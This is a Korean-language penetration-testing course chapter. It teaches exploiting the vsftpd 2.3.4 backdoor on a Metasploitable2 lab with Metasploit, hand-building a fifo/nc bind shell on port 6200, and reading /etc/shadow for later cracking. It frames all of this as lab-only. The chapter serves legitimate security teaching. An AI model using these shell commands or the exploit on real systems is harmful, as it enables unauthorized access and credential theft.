Step 117. ★ 첫 쉘: vsftpd 백도어로 MS2 장악 — 인생 첫 원격 명령 실행

Step 117. ★ 첫 쉘: vsftpd 백도어로 MS2 장악 — 인생 첫 원격 명령 실행

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 3시간

전제: Step 116에서 vsftpd_234_backdoor 모듈의 RHOSTS 설정까지 마쳤다. Step 115에서 CVE-2011-2523의 원리("6200번 포트에 쉘이 열린다")를 읽었다.

  • 준비물: 랩 — Kali(공격자)와 Metasploitable2(타깃, 이하 MS2). nc 원리 실습은 리눅스/WSL 터미널 두 개면 충분합니다.
  • 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. 이 환경에는 Kali·MS2·Metasploit이 없으므로 msfconsole 장면은 전부 출력 예시입니다. 반면 "백도어가 열어 주는 포트에 nc로 접속한다"는 원리 실습은 WSL에서 직접 실측했습니다.

드디어 왔습니다. 지금까지의 모든 챕터 — 포트 스캔, 버전 탐지, CVE 독서, Metasploit 조립 — 가 오늘 하나의 순간을 위해 존재했습니다. 쉘(shell) 획득: 네트워크 너머 남의 컴퓨터에서 내가 친 명령이 실행되는 순간. vsftpd 2.3.4 백도어는 그 첫 경험의 교과서입니다. 성공의 쾌감만큼 중요한 것이, 그 쾌감이 정확히 어떤 원리로 일어났는지 설명할 수 있는 것입니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • Metasploit에서 exploit를 실행해 첫 원격 쉘을 얻는다
  • 쉘에 접속한 뒤 "지금 어느 컴퓨터에 있는가"를 확인하는 정찰 명령을 쓴다
  • 백도어 공격의 원리(트리거 입력 → 포트 개방 → 쉘 접속)를 한 문단으로 설명한다
  • 같은 원리를 nc로 손수 재현해 "도구가 해 준 일"을 분해한다
  • 쉘 획득의 의미와 증거 수집(스크린샷, shadow 파일)의 절차를 안다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 Kali의 Metasploit(출력 예시) + WSL/리눅스의 nc(실측)
오늘의 명령 exploit(msf), 쉘 안의 whoami/hostname/id, nc 대상 포트, fifo 파이프 기법
필요한 개념 RCE(원격 코드 실행), 백도어, Step 77의 소켓, Step 116의 모듈 설정
오늘의 산출물 MS2 root 쉘 스크린샷 + 공격 원리 한 문단 + nc 재현 기록

2-1. 사건 복습 — 공급망 공격의 고전

CVE-2011-2523을 다시 봅시다. 2011년 6월 말, vsftpd 공식 배포 파일이 통째로 바꿔치기당했습니다. 공격자가 심어 둔 코드는 단순했습니다 — FTP 로그인 아이디에 :) 문자열이 포함되면, 몰래 6200번 포트를 열어 거기에 루트 권한의 쉘을 붙여 두는 것.

이 사건의 교훈은 프로그램이 아니라 배포 경로가 공격당했다는 점입니다. 사용자들은 "공식 사이트에서 받은 정품"을 설치했을 뿐입니다. 공급망 공격(supply chain attack)이라 부르는 이 부류는 지금도 현역입니다.

2-2. RCE와 쉘 — 오늘 일어날 일의 이름

오늘 우리가 할 일의 정확한 이름은 RCE(Remote Code Execution, 원격 코드 실행)입니다. 네트워크 너머의 컴퓨터에서 내가 원하는 코드를 실행시키는 것. 그리고 그 실행 결과로 "대화형 명령줄", 즉 쉘을 얻습니다.

쉘 획득은 침투의 목적지가 아니라 중간 기착지입니다 — 쉘은 "그 컴퓨터에서 더 많은 일을 할 수 있는 발판"입니다. 하지만 첫 번째 쉘은 다릅니다. 지금까지 이론으로만 알던 "열린 포트 → 취약한 서비스 → 공격 코드"의 사슬이 눈앞에서 완성되는 순간이니까요.

2-3. Metasploit이 해 주는 일의 분해

Step 116에서 조립한 모듈이 exploit 한 방에 하는 일은 사실 세 단계입니다.

  1. 타깃의 21번 포트(FTP)에 접속해 아이디에 :)를 넣어 로그인을 시도한다 — 백도어의 트리거를 당긴다
  2. 백도어가 발동해 타깃의 6200번 포트에 쉘이 열린다
  3. Metasploit이 그 6200번에 접속해 쉘 세션을 우리 화면에 연결한다

중요한 사실: 세 번째 단계, "열린 포트에 접속해 쉘과 대화하기"는 우리가 아는 도구 — nc — 로도 할 수 있습니다. 오늘 따라 하기의 후반부는 이것을 손으로 재현합니다. 마법을 분해하면 공학이 됩니다.


3. 따라 하기

3-1. 발사 — exploit (출력 예시)

Step 116에서 설정해 둔 모듈에서 마지막 명령을 내립니다 (랩에서 — 이 환경에는 Metasploit이 없으므로 출력 예시입니다).

입력 (Kali의 msfconsole)

exploit

출력 예시:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.100:45678 -> 192.168.56.101:6200)

읽는 법: 줄마다 2-3의 분해가 그대로 보입니다. 배너 확인(21번) → 트리거 로그인 시도(USER) → "Backdoor service has been spawned"(백도어 발동) → uid=0(root) 확인 → 세션 개설. 마지막 줄을 주목하세요 — 192.168.56.101:6200. Kali(192.168.56.100)가 타깃의 6200번에 접속했습니다. 도구가 nc의 일을 대신 해 준 것입니다.

: 이 출력의 각 줄이 "어떤 단계인가"를 말할 수 있어야 성공이 실력이 됩니다. 운 좋게 뚫린 것과 원리를 알고 뚫은 것은 다음 실패에서 갈립니다.

3-2. 첫 명령 — 지금 나는 어디에 있는가 (출력 예시)

프롬프트 없이 커서만 깜빡이면 성공입니다. 명령을 쳐 보세요.

입력

whoami
hostname
id

출력 예시:

whoami
root
hostname
metasploitable
id
uid=0(root) gid=0(root) groups=0(root)

읽는 법: root — 그 컴퓨터의 최고 권한입니다. metasploitable — 지금 명령이 실행되는 곳이 내 Kali가 아니라 타깃 MS2라는 증거. 명령이 그대로 에코되고(입력 줄이 다시 보이고) 답이 오는 것은, 이 쉘이 프롬프트 없는 최소한의 파이프이기 때문입니다.

: 쉘을 얻은 직후의 정찰 삼종 — "누구로(whoami), 어느 컴퓨터에서(hostname), 어떤 권한으로(id)" — 는 모든 침투의 첫 세 명령입니다. 자신의 위치를 확인하지 않고 다음 행동을 하는 것은 초보의 표식입니다.

3-3. 원리 재현 준비 — 백도어 포트를 손으로 열기

이제 마법을 분해합니다. MS2도, vsftpd도 없는 우리 WSL에서, "백도어가 6200번 포트에 쉘을 붙여 두는 것"과 같은 상태를 손으로 만들어 봅니다.

먼저 아쉬운 사실 하나. 오늘 실측 환경(WSL 우분투 24.04)의 nc는 OpenBSD 판으로, 보안상 -e(접속자에게 프로그램 붙이기) 옵션이 빠져 있습니다. nc -h의 옵션 목록에 -e가 없는 것으로 직접 확인했습니다 (2026-09-09 실측). 그래서 유닉스의 파이프(fifo)로 같은 효과를 만듭니다.

입력 (터미널 1 — "백도어가 발동한 타깃" 역할)

cd /tmp
rm -f f && mkfifo f
cat f | bash 2>&1 | nc -l -p 6200 > f

읽는 법: 한 줄의 파이프 공학입니다. mkfifo f는 이름 있는 파이프(파일처럼 보이는 전달 통로)를 만듭니다. nc -l -p 6200이 6200번에서 접속을 기다리고, 접속자가 보낸 바이트는 f를 통해 bash로 흘러가 실행되고, 그 출력(2>&1은 에러까지 포함)이 다시 nc를 통해 접속자에게 돌아갑니다. 결과적으로 "6200번에 접속한 누구에게나 쉘" — vsftpd 백도어가 만들어 주는 것과 같은 상태입니다.

: 공격 도구의 출력을 이해하는 가장 확실한 방법은 그것을 맨손으로 재현해 보는 것입니다.

3-4. 원리 재현 — nc로 쉘에 접속하기

입력 (터미널 2 — 공격자 역할)

nc 127.0.0.1 6200

아무 응답도 없어 보이지만 연결된 상태입니다. 프롬프트가 없는 쉘이라 그렇습니다. 명령을 쳐 보세요.

입력 (터미널 2에 계속)

whoami
hostname
cat /etc/os-release | head -1

출력 (2026-09-09 실측):

root
XI3492
PRETTY_NAME="Ubuntu 24.04.4 LTS"

읽는 법: Metasploit 출력 예시와 정확히 같은 구조입니다 — 명령을 내면 답이 옵니다. root라는 대답은 이 쉘이 터미널 1을 실행한 계정의 권한을 물려받았기 때문입니다(실측 환경은 root로 동작하는 WSL 랩). hostname XI3492는 이 실측 머신의 이름입니다 — 여러분의 환경에서는 여러분 컴퓨터의 이름이 나옵니다. 바로 이것이 3-2에서 hostname을 확인한 이유입니다.

: 방금 우리는 Metasploit 없이, 백도어의 마지막 단계("열린 포트에 접속해 명령 실행")를 재현했습니다. exploit 한 방의 내부가 이제 검은 상자가 아닙니다.

3-5. 관찰 — 열린 문의 수명

터미널 2에서 exit를 치면 연결이 끊기고, 터미널 1의 명령도 함께 끝납니다. 세 번째 터미널에서 확인해 보세요 — 손님이 떠난 뒤 6200번은 닫혀 있습니다 (2026-09-09 실측: ss -tlnp | grep 6200이 빈 결과를 반환).

읽는 법: 우리의 간이 백도어는 한 손님 전용입니다. 접속이 끊기면 문도 함께 사라집니다. 진짜 vsftpd 백도어는 서비스가 살아 있는 한 반복 발동하지만, 원리의 골격 — "트리거가 포트를 열고, 공격자가 그 포트로 접속한다" — 은 같습니다.

: 방어자의 눈으로 다시 읽으면, 이것은 "낯선 포트가 열려 있다가 사라진다"는 침해의 흔적입니다. Step 34와 Step 81에서 배운 ss/nmap이 탐지 도구가 되는 순간입니다.

3-6. 랩 마무리 — 증거 수집과 정리 (출력 예시)

랩에서 MS2 쉘을 얻었다면, 다음은 기록입니다 (출력 예시).

입력 (MS2 쉘 안)

cat /etc/shadow

이 출력을 Kali에 파일로 저장해 두세요 — Step 123(비밀번호 크래킹)에서 재료가 됩니다. 그리고 쉘 화면을 스크린샷으로 남기고, "입력(아이디에 :) 포함) → 백도어 발동 → 6200번 포트에 쉘 → 루트 권한 획득"을 한 문단으로 정리합니다. 쉘을 끝낼 때는 Ctrl+C가 아니라 exit를 씁니다 — Ctrl+C는 쉘 안의 프로그램이 아니라 세션 자체를 꺼 버리는 경우가 있습니다.

: 침투 테스트는 뚫는 일로 끝나지 않고, 재현 가능한 기록으로 끝납니다. 스크린샷과 한 문단 정리가 보고서의 원료입니다.


4. 미션과 연습문제

미션 — 첫 쉘과 원리 설명

  1. 랩이 있다면: Step 116의 설정을 이어 받아 exploit를 실행하고, whoami/hostname/id 세 명령의 출력을 캡처합니다.
  2. 랩이 없다면: 3-3~3-4의 WSL 재현으로 대체합니다 — fifo 백도어를 열고 nc로 접속해 같은 세 명령을 실행합니다.
  3. 얻은 쉘에서 /etc/passwd의 마지막 다섯 줄(tail -5 /etc/passwd)을 확인해 "이 컴퓨터의 사용자 목록"을 노트에 적습니다.
  4. 공격 원리를 한 문단으로 정리합니다 — 반드시 "트리거", "6200번 포트", "nc(또는 세션) 접속" 세 단어를 포함할 것.
  5. 실습 후 문을 닫습니다 — exit로 연결을 끊고, ss -tlnp | grep 6200으로 포트가 닫혔음을 확인합니다.

연습문제

문제 1. vsftpd 2.3.4 백도어가 일반적인 취약점(버그)과 다른 점 — "공급망 공격"이라고 불리는 이유를 설명해 보세요.

문제 2. Metasploit 출력의 마지막 줄 Command shell session 1 opened (192.168.56.100:45678 -> 192.168.56.101:6200)에서 두 주소와 두 포트가 각각 무엇인지 말해 보세요.

문제 3. 3-4의 fifo 파이프(cat f | bash 2>&1 | nc -l -p 6200 > f)에서 2>&1이 없으면 어떤 불편이 생기는지 말해 보세요.

문제 4. 쉘을 얻은 직후 정찰 삼종(whoami/hostname/id)을 가장 먼저 치는 이유를 방어자 관점도 포함해 설명해 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

WSL 재현 기준 (2026-09-09 실측 환경에서의 결과):

# 터미널 1 (타깃 역할)
cd /tmp && rm -f f && mkfifo f
cat f | bash 2>&1 | nc -l -p 6200 > f

# 터미널 2 (공격자 역할)
nc 127.0.0.1 6200
whoami      → root (실측)
hostname    → XI3492 (실측 — 여러분의 환경에서는 다른 이름)
id          → uid=0(root) gid=0(root) groups=0(root) (실측)
tail -5 /etc/passwd  → 이 머신의 사용자 목록

원리 정리의 모범 문장 예: "아이디에 :)를 넣은 FTP 로그인이 트리거가 되어 백도어가 발동하고, 타깃의 6200번 포트에 루트 쉘이 열리며, 공격자는 그 포트에 nc 접속(Metasploit이라면 세션 자동 연결)해 명령을 실행한다."

검증하는 법: ① 쉘에서 친 명령의 답이 "내 컴퓨터"가 아니라 타깃의 정보(hostname 등)인가. ② 원리 문단에 트리거→포트 개방→접속의 순서가 있는가. ③ 실습 후 6200번이 닫혔음을 확인했는가 — 열어 두고 끝내는 것은 랩에서도 나쁜 습관입니다.

연습문제 해답

문제 1 해답. 버그는 개발자의 실수지만, 이 백도어는 배포 파일 자체가 공격자에게 바꿔치기당해 심어졌습니다. 사용자는 정품을 설치했을 뿐인데 감염됩니다. 코드가 아니라 "코드가 도착하는 경로(공급망)"가 공격당한 것이며, 그래서 패치보다 "배포본의 무결성 검증"이 방어의 핵심이 됩니다.

문제 2 해답. 192.168.56.100:45678은 공격자(Kali) 쪽 — 내 주소와 운영체제가 임의로 붙여 준 임시 포트(Step 77 복습)입니다. 192.168.56.101:6200은 타깃(MS2) 쪽 — 백도어가 열어 준 포트입니다. 연결은 항상 "누가-누구에게" 두 끝점의 쌍입니다.

문제 3 해답. 2>&1은 표준 에러를 표준 출력으로 합쳐 접속자에게까지 보내는 장치입니다. 없으면 명령이 실패했을 때의 에러 메시지(예: bash: lsit: command not found)가 접속자 화면에 오지 않고 터미널 1 쪽에만 찍힙니다 — 공격자는 명령이 실패한 줄도 모르고 기다리게 됩니다.

문제 4 해답. 공격자 관점: 지금 어느 컴퓨터에 어떤 권한으로 들어왔는지 모르면 다음 행동(무엇을 수집할지)을 정할 수 없고, 엉뚱한 머신에서 작업하는 사고를 막습니다. 방어자 관점: 침해 로그에서 이 삼종 명령이 연달아 실행된 흔적은 "쉘을 얻은 공격자의 첫 행동"이라는 전형적 패턴이라, 탐지 룰의 재료가 됩니다.

완료 기준 체크리스트

  • [ ] 백도어 공격의 세 단계(트리거→포트 개방→접속)를 말할 수 있다
  • [ ] exploit 출력의 각 줄이 어느 단계인지 읽을 수 있다
  • [ ] 쉘 획득 직후 정찰 삼종(whoami/hostname/id)을 실행했다
  • [ ] fifo+nc로 "열린 포트에 붙은 쉘"을 손수 재현했다
  • [ ] 우리 환경의 nc에 -e가 없음을 알고, 그 우회법을 설명할 수 있다
  • [ ] 공격 원리를 한 문단으로 정리해 노트에 남겼다
  • [ ] 실습 후 쉘과 포트를 닫고 정리했다
  • [ ] 미션: 첫 쉘(또는 WSL 재현)과 원리 문단을 완성했다

6. 흔한 실수와 해결

벽 1. exploit가 실패해요 (출력 예시)

증상 (출력 예시): [*] Exploit completed, but no session was created. — 실행은 됐는데 세션이 안 열립니다.

원인 후보 셋: ① MS2가 꺼져 있거나 ② RHOSTS가 틀렸거나 ③ 네트워크가 안 닿습니다.
해결: 과제 가이드의 순서대로 — ping <MS2_IP>가 가는지, show options의 RHOSTS가 MS2인지, nmap -p 21 <MS2_IP>로 vsftpd가 살아 있는지 확인합니다. 세 번째에서 21번이 닫혀 있으면 MS2를 재부팅하세요.

벽 2. 쉘 화면에 프롬프트가 없어서 멈춘 줄 알았어요

증상: Found shell. 이후 아무 표시 없이 커서만 깜빡입니다.

원인: 이 쉘은 프롬프트 없는 최소 파이프입니다. 명령이 정상적으로 실행되는 중입니다.
해결: 그냥 whoami를 쳐 보세요. 답이 오면 살아 있는 것입니다. 3-2의 출력처럼 입력이 에코되며 답이 옵니다.

벽 3. Ctrl+C로 끄려다 세션이 죽었어요

증상: 쉘 안에서 복사하려고(또는 버릇으로) Ctrl+C를 눌렀더니 세션 전체가 끊겼습니다.

원인: 이 대화형 쉘에서 Ctrl+C는 "실행 중인 명령 중단"이 아니라 "세션 중단"으로 작동하는 경우가 있습니다.
해결: 쉘을 끝낼 때는 exit를 입력하세요. 과제 가이드의 경고가 바로 이것입니다. 세션이 죽었다면 exploit를 다시 실행해 새 세션을 열면 됩니다.

벽 4. nc -e가 안 먹혀요 (실측)

증상 (2026-09-09 실측): 우분투/WSL에서 nc -l -p 6200 -e /bin/bash를 치면 옵션 오류가 납니다. nc -h의 옵션 목록에 -e가 없습니다.

원인: 우분투의 nc는 OpenBSD 판으로, 악용 방지를 위해 -e가 제거됐습니다. 교재들의 -e 예시는 전통 판(예: MS2에 들어 있는 nc) 기준입니다.
해결: 3-3의 fifo 기법(mkfifo f; cat f | bash 2>&1 | nc -l -p 포트 > f)으로 같은 효과를 만드세요. "방향과 원리가 중요하지 옵션 철자가 중요한 게 아니다"를 체감하는 지점입니다.

벽 5. 재현 실습 후 포트가 계속 열려 있어요

증상: 실습이 끝났는데 ss -tlnp | grep 6200에 아직 LISTEN이 남아 있습니다.

원인: 접속 없이 터미널 1을 닫았거나, 파이프 라인의 어느 한 프로세스만 죽었습니다.
해결: 남아 있는 프로세스를 찾아(ss -tlnp의 PID) 정리하고, /tmp의 fifo 파일(f)도 지우세요. 실습의 끝은 "문을 닫았는지 확인"까지가 실습입니다.


7. 정리

오늘의 개념

개념 한 줄 설명
RCE 원격 코드 실행 — 네트워크 너머에서 내 명령을 실행시키는 것
백도어 정상 인증을 우회해 몰래 열어 두는 뒷문 (이 사례: 6200번 포트)
공급망 공격 코드가 아니라 배포 경로를 오염시키는 공격 — vsftpd 2.3.4 사건
트리거 백도어를 발동시키는 입력 (이 사례: :)가 포함된 아이디)
쉘 획득 상대 컴퓨터의 대화형 명령줄을 얻는 것 — 침투의 발판
정찰 삼종 whoami / hostname / id — 쉘 직후 "나는 누구로 어디에" 확인

오늘의 명령어

명령 하는 일
exploit (msf) 설정 완료된 모듈 발사 — 세션 개설까지 자동
whoami / hostname / id (쉘 안) 쉘 획득 직후 위치·권한 정찰
nc 대상 포트 열린 쉘 포트에 손으로 접속 — Metasploit의 마지막 단계와 같은 일
mkfifo f; cat f | bash 2>&1 | nc -l -p 포트 > f OpenBSD nc(-e 없음)에서 쉘 붙이기 재현
ss -tlnp | grep 6200 백도어 포트의 개폐 확인 — 공격과 탐지 양쪽의 눈
exit (쉘 안) 세션의 올바른 종료 (Ctrl+C는 세션을 죽일 수 있음)

명령어보다 중요한 감각

오늘 여러분은 네트워크 너머의 컴퓨터에서 명령을 실행했습니다. 그리고 더 중요하게는, 그 마법을 세 조각으로 분해했습니다 — 트리거를 당기고, 포트가 열리고, 그 포트에 접속한다. 마지막 조각이 nc 한 줄이라는 것을 손으로 확인한 순간, Metasploit은 더 이상 주술이 아니라 공구입니다.

이 쾌감이 이 세계의 입구라는 말에 덧붙입니다. 방금 얻은 root 쉘이 허락된 랩에서는 공부이지만, 허락 없는 시스템에서는 그대로 범죄의 완성입니다. 같은 손가락, 같은 명령, 다른 세계 — 경계는 기술이 아니라 허락입니다. 그리고 하나 더, 오늘의 쉘은 "대상이 문을 열고 우리가 들어간" 모양이었습니다. 현실의 대상은 방화벽과 NAT 뒤에 숨어 그 문을 우리에게 보여 주지 않는 경우가 대부분입니다. 그때 필요한 것이 연결 방향을 뒤집는 기술, 리버스 쉘입니다(Step 118).


전부 체크되면 Step 117 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.